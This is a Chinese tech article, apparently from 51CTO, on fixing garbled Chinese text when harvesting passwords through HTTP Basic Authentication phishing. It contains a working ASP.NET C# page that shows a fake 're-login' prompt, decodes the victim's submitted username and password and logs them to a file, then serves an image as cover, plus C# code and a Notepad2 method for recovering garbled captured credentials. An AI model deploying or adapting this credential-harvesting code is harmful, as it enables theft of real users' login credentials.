关于基础验证钓鱼中文乱码的解决方法

安全
最近基础认证钓鱼很火,不过乱码始终是个问题。经测试后已实现的解决方法有两种:手动分析Request头;将乱码转换回正常的字符。

最近基础认证钓鱼很火,不过乱码始终是个问题。经测试后已实现的解决方法有两种:

手动分析Request头

如果客户端接受了WWW-AuThenticate验证,则会在下一次连接中添加请求头 Authorization,格式为:

[code]

Authorization: Basic Og==

[/code]

Basic代表应用基础模式验证,由服务端WWW-AuThenticate头指定的验证模式指定。由于我们需要获取密码,所以这里一定为Basic。

之后以一个空格作为分隔符,其余的内容为用户名与密码,加密方式为标准BASE64,格式为 用户名:密码。

(更多资料请参考rfc文档。)

所以我们只需要判断请求头是否包含Authorization即可,如果没有的话则输出401返回头要求输入密码。

一段简单的C#代码:

[code="csharp"] <%

string logpath=Server.MapPath("\\fuck.config");

string info="please re-login";

string imgpath=Server.MapPath("\\img.jpg");

if(Request.Headers["Authorization"]==null||Request.Headers["Authorization"].StartsWith("Basic Og==")){

Response.Status="401 Unauthorized";

Response.AddHeader("WWW-AuThenticate",string.Format("basic ,Realm=\"{0}\"",info));

}

else{

string referrer=(Request.UrlReferrer==null)?"":Request.UrlReferrer.ToString();

System.IO.File.AppendAllText(logpath,Encoding.Default.GetString(Convert.FromBase64String(Request.Headers["Authorization"].Remove(0,5).Trim()))+"|"+referrer+"\r\n");

if(System.IO.File.Exists(imgpath))Response.BinaryWrite(System.IO.File.ReadAllBytes(imgpath));

}

%> [/code]

#p#

将乱码转换回正常的字符

乱码其实是西欧字符,在拓展ASCII中为0x7f-0xff,所以只需要转换回去就行了。

不过要注意:直接转换是不可能的。在中文操作系统中0x7f-0xff单个字节被认为是无效字符,转换后只能输出0x3f(?)。同时如果想将乱码保存到文件中,则必须使用unicode等格式保存,这时乱码将变为两字节,转换更加繁琐。

经过尝试可以使用以下C#代码转换,注意:必须在winform下编译使用,webform下即使是相同的Unicode编码也会转换出不同的字节数组,从而导致无法转换。

[code]

using System;

using System.Text;

using System.Windows.Forms;

using System.Collections.Generic;

public class Decript

{

public static void Main()

{

string s="D??μò???è?";

byte[] arrb = Encoding.Unicode.GetBytes(s);

List<byte> lb=new List<byte>();

foreach(byte b in arrb){if(b!=0)lb.Add(b);}

Console.WriteLine(Encoding.Default.GetString(lb.ToArray()));

}

}

[/code]

之后又找到更简便的方法:用Notepad2建立一个unicode文档,将乱码粘贴进去,之后在编码选择任意ISO开头的编码,保存后即转换完毕。

责任编辑:蓝雨泪 来源: cunlide
相关推荐

2011-03-01 15:38:44

Fireftp乱码

2009-07-02 13:26:32

JSP中文乱码

2009-09-07 18:40:28

PHP中文乱码

2012-03-21 10:16:31

JavaJSP

2010-07-15 14:01:12

telnet乱码

2009-07-02 13:32:56

JSP中文乱码

2010-10-13 17:22:12

MySQL查询乱码

2010-05-14 17:27:40

MySQL中文乱码

2009-06-25 15:06:20

Javadoc乱码

2011-06-14 13:41:27

muleWSDL

2009-07-01 18:14:36

JSP乱码

2009-11-26 15:42:18

PHP函数mail()

2009-12-02 16:53:25

PHP发送邮件乱码

2009-12-02 10:08:33

PHP mail()函

2017-08-02 15:51:24

PHP中文乱码

2011-09-06 16:04:59

Ubuntu

2009-12-04 16:49:38

PHP导出Excel乱

2011-07-05 09:44:31

QT Mysql 乱码

2010-11-23 10:11:23

mysql建表乱码

2010-06-09 09:39:42

Opensuse双系统
点赞
收藏

51CTO技术栈公众号